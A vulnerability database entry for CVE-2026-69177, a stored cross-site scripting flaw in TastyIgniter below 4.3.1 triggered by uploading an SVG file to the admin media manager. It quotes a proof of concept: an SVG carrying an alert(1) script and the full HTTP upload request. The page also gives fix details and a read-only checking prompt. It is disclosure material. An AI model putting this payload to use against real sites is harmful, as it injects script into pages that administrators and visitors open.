# CVE-2026-69177: TastyIgniter allows stored XSS via file upload

- **Severity:** MEDIUM 6.8
- **CVSS:** 6.8 (v3.1, GitHub) `CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:N/I:N/A:H`
- **CVSS metrics:** Attack vector: Network; Attack complexity: Low; Privileges required: High; User interaction: None; Scope: Changed (impact reaches other components); Confidentiality impact: None; Integrity impact: None; Availability impact: High
- **Exploited in the wild:** Not in CISA KEV
- **Public exploit / PoC:** None known
- **Remote exploitation:** Remote, login needed
- **Aliases:** GHSA-mqg7-fw3f-mhp7
- **Published:** 2026-11-25T21:52:15.000Z
- **Modified:** 2026-11-25T21:52:16.000Z

> **AI summary (AI-generated, claude-haiku-5-5):** An authenticated admin can upload an SVG file containing script to the TastyIgniter media manager, enabling stored cross-site scripting that runs when the file is viewed.

## Who should check

- Projects that depend on Packagist package tastyigniter/tastyigniter (\< 4.3.1)

## Description

\#\#\# Summary
Stored XSS via uploading SVG files 

\#\#\# Details
It is possible to upload SVG files that contains XSS.

\#\#\# PoC

- login as admin
- create the following SVG file

\`\`\`
\<svg xmlns="http://www.w3.org/2000/svg" width="400" height="400" viewBox="0 0 124 124" fill="none"\>
\<rect width="124" height="124" rx="24" fill="\#000000"/\>
   \<script type="text/javascript"\>  
      alert(1);
   \</script\>
\</svg\>
\`\`\`  

- upload the SVG file in media manager

\`\`\`
POST /admin/media\_manager HTTP/1.1
Host: localhost:8888
Content-Length: 514
sec-ch-ua-platform: "Linux"
X-CSRF-TOKEN: 2vv3ZKpvfj2SkbbJzqmf8G053mNXqPLktxqd5eMx
Cache-Control: no-cache
Accept-Language: en-US,en;q=0.9
sec-ch-ua: "Not-A.Brand";v="24", "Chromium";v="146"
sec-ch-ua-mobile: ?0
X-IGNITER-FILEUPLOAD: mediamanager
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (X11; Linux x86\_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36
Accept: application/json
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryc7RU1N0XsTAvSLFw
Origin: http://localhost:8888
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost:8888/admin/media\_manager
Accept-Encoding: gzip, deflate, br
Cookie: laravel\_session=eyJpdiI6IkxRY3hrdXkyY01mN3RONXZwNjlDRnc9PSIsInZhbHVlIjoibkZSNHNWWW5hTDZtWXpIbmdnUkM0aFJZZFJRM2V5czVXWUd6TkxwUVFhUUplVGNuY3B5Z1NKZk9TMlc1R1c3akhoakpaUE9MM0ZUcW5tclBtZi80ZXExR3hpUm5hOU40UDl0NWNSWUpNUmNmU043Qmx4aEk4ZWxQQnZUanBPUHoiLCJtYWMiOiI5YmRkMGQ0M2I5M2EzYzRmNGJjOGU5ODhkY2M2MmU1MmI0ODYzYjc5YjQ2OTIzY2Y2NDJiZTRhZDBmOTQyNDUwIiwidGFnIjoiIn0%3D; remember\_igniter-admin\_d89cc32487145546aea44c0efb53f29c32adfc35=eyJpdiI6InF4RFZUdStuQkY0cGRLU2s4NUFiQ1E9PSIsInZhbHVlIjoiUjMyRUp6UGI3ZFRsL0dhY3pDSUhtMDJaY3Y5bXZ6SFlkQVR5MzZzdGZOT2ZRdExFQ1FJRUh5NDVmQlV0d0tNUXRackcxbTh0YWcxbHphV3dmTVdrNjR5aExhdzZUUFdLQ1JsSEhiMUlZRE1IblBuTFhmdVJWZFc5bFpicU4vS1BUZDh5OGRUMERTU1dsOEdnZVp0bXNpUFI5ZWFPM29RaGl3czU0cnlKczFsN0U4OGFnRWNjREM3aWFSRUtaYTVVTkRmSkV4RXlzZGRiK3RRcGVmOVk2dG1ud0NBaXVFTDRHRVM0Nk9MWDNaUT0iLCJtYWMiOiJiZjA3OGVhMjZlZjQ5ZDczNDkxYmQ3NDBmYWFmNGI5NjNkZDFkMmI0ODAwMTU2MmE5MjMwNjJlMzU0OGM1ODg5IiwidGFnIjoiIn0%3D; XSRF-TOKEN=eyJpdiI6Ilp1alI5YUpNZnMzL2V0NEZiUm9wemc9PSIsInZhbHVlIjoiN1lhL2RhVG05MGtab2paOS90ZHJuQVdmUHNmbFRlbUpaekVKZUlxWnQyOWRYbm5IWENzMmJFZ0QvNjlNRnNjMnFHM3B1bGZJWVcyeXMxWG1sWW4rWnNiRFFVcXk2U3BFbHBDYWF4SnlFSE5rLzZ1QWFxem9mTHo3NER0eDVKUXEiLCJtYWMiOiI3ZThlOTEzZjY1MjdmNDc5NDY5MWU3MmRjOWU5ZTdjYTNjODQyOTllZjg3YWNiZTdhNTAzNjhmZmM0NTUyYTI0IiwidGFnIjoiIn0%3D; tastyigniter\_session=eyJpdiI6Ik4rSWJnTy82LysxbUdBSXNycVFvRFE9PSIsInZhbHVlIjoiNElDTUVnb2xwZjYwVFRnb0VpNHdUMDZiQ2JPY25manM4ZnloTWl3T1VubVg0UTBURURCblgrbGxuTDFIdGlFRzVlQU01enFyaWd1Z0JDZjMrdXVyM21LKzBQdmN4SVZxVXpqQzNKSi9abVVRT3BsQUIwNGhiYkxzaHhic3gvRjYiLCJtYWMiOiIyZWRmOWJkOGMyMmFlZmJlMTEzNDk1NGNlN2MzMWYwYjcxZjZmNWUyMDczYThiMjk2MGM5MmJiOTg3MGM5M2FkIiwidGFnIjoiIn0%3D
Connection: keep-alive

------WebKitFormBoundaryc7RU1N0XsTAvSLFw
Content-Disposition: form-data; name="path"

/
------WebKitFormBoundaryc7RU1N0XsTAvSLFw
Content-Disposition: form-data; name="file\_data"; filename="xss.svg"
Content-Type: image/svg+xml

\<svg xmlns="http://www.w3.org/2000/svg" width="400" height="400" viewBox="0 0 124 124" fill="none"\>
\<rect width="124" height="124" rx="24" fill="\#000000"/\>
   \<script type="text/javascript"\>  
      alert(1);
   \</script\>
\</svg\>
------WebKitFormBoundaryc7RU1N0XsTAvSLFw--

\`\`\` 

- go to the URL and notice it is possible to perform XSS.

\<img width="1914" height="303" alt="image" src="https://github.com/user-attachments/assets/938d605f-2026-41ca-b282-85dfe9035037" /\>

## Affected and fixed versions

- Packagist `tastyigniter/tastyigniter`: affected \< 4.3.1; fixed 4.3.1 (ghsa)

## Technologies

Composer packages, Laravel (AI-matched), PHP (AI-matched)

## Mitigation

- Upgrade tastyigniter/tastyigniter to 4.3.1 or later.

## Check your systems with an agent

Paste this into a coding agent:

```text
Check whether anything I run is affected by CVE-2026-69177. Work read-only: do not install, upgrade, delete or change anything.

Details: https://flawdb.com/CVE-2026-69177.md
Affected: tastyigniter/tastyigniter < 4.3.1
Fixed in: 4.3.1

Steps:
1. Search this machine and project for tastyigniter/tastyigniter (Packagist): dependency manifests and lockfiles, installed packages, container images and running services.
2. For each match, note the installed version and whether it is inside the affected range.
3. Report a table: location, installed version, affected (yes / no / unsure), evidence. If affected, say which fixed version or mitigation from the details link applies, but don't apply it.
```

## FAQ

### Is CVE-2026-69177 being exploited?

There is no confirmed exploitation: CVE-2026-69177 is not in the CISA Known Exploited Vulnerabilities catalog. No public exploit code is known.

### How serious is CVE-2026-69177?

Medium: CVSS 6.8 (v3.1, scored by GitHub). Remote, login needed.

### Which versions are affected by CVE-2026-69177?

tastyigniter/tastyigniter \< 4.3.1.

### Is there a fix for CVE-2026-69177?

Yes. Fixed in 4.3.1. Upgrade tastyigniter/tastyigniter to 4.3.1 or later.

### How do I check if I'm affected by CVE-2026-69177?

Find where you use the affected software (dependency lockfiles, installed packages, container images, servers) and compare the installed version with the affected range above. The agent prompt on this page does this read-only.

## References

- vendor: <https://github.com/tastyigniter/TastyIgniter/security/advisories/GHSA-mqg7-fw3f-mhp7>
- patch: <https://github.com/tastyigniter/core/commit/c6f99d7f47d20c144721c7a1044213f52c9b570f>
- other: <https://github.com/tastyigniter/core/releases/tag/v4.3.1>
- other: <https://github.com/advisories/GHSA-mqg7-fw3f-mhp7>

## Attribution

- CVE Program: CVE® is a registered trademark of The MITRE Corporation. CVE records © 1999–2026 The MITRE Corporation. <https://www.cve.org/Legal/TermsOfUse>
- GitHub Advisory Database: CC-BY 4.0 <https://github.com/advisories/GHSA-mqg7-fw3f-mhp7> (license: <https://creativecommons.org/licenses/by/4.0/>)

HTML: <https://flawdb.com/CVE-2026-69177> · JSON: <https://flawdb.com/api/v1/entries/CVE-2026-69177>
